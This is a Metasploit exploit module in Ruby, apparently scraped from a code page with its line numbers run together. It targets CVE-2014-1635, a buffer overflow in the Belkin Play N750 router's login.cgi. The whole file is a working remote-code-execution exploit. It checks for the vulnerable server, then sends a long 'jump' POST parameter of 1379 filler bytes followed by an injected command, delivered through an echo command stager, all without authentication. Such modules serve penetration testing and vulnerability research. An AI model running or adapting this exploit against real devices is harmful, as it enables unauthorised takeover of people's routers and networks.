Path: blob/master/modules/exploits/linux/http/belkin_login_bof.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Belkin Play N750 login.cgi Buffer Overflow',16'Description' => %q{17This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB18Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling19of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing20remote unauthenticated attackers to execute arbitrary code. This module was tested in21an emulated environment, using the version 1.10.16.m of the firmware.22},23'Author' => [24'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)25'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager26],27'License' => MSF_LICENSE,28'Platform' => ['linux'],29'Arch' => ARCH_MIPSLE,30'References' => [31['CVE', '2014-1635'],32['EDB', '35184'],33['BID', '70977'],34['OSVDB', '114345'],35['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],36['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']37],38'Targets' => [39[40'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m',41{42'Offset' => 1379,43}44]45],46'DefaultOptions' => {47'RPORT' => 808048},49'DisclosureDate' => '2014-05-09',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)58deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')59end6061def check62begin63res = send_request_cgi({64'method' => 'GET',65'uri' => '/'66})6768if res &&69[200, 301, 302].include?(res.code) &&70res.headers['Server'] &&71res.headers['Server'] =~ /minhttpd/ &&72res.body =~ /u_errpaswd/7374return Exploit::CheckCode::Detected75end76rescue ::Rex::ConnectionError77return Exploit::CheckCode::Unknown78end7980Exploit::CheckCode::Unknown81end8283def exploit84print_status("Accessing the vulnerable URL...")8586unless check == Exploit::CheckCode::Detected87fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")88end8990print_status("Exploiting...")91execute_cmdstager(92:flavor => :echo,93:linemax => 20094)95end9697def prepare_shellcode(cmd)98shellcode = rand_text_alpha_upper(target['Offset'])99shellcode << 'e' << cmd100shellcode << "\n\n"101end102103def execute_command(cmd, opts)104shellcode = prepare_shellcode(cmd)105begin106res = send_request_cgi({107'method' => 'POST',108'uri' => '/login.cgi',109'vars_post' => {110'GO' => '',111'jump' => shellcode,112}113})114return res115rescue ::Rex::ConnectionError116fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")117end118end119end120121122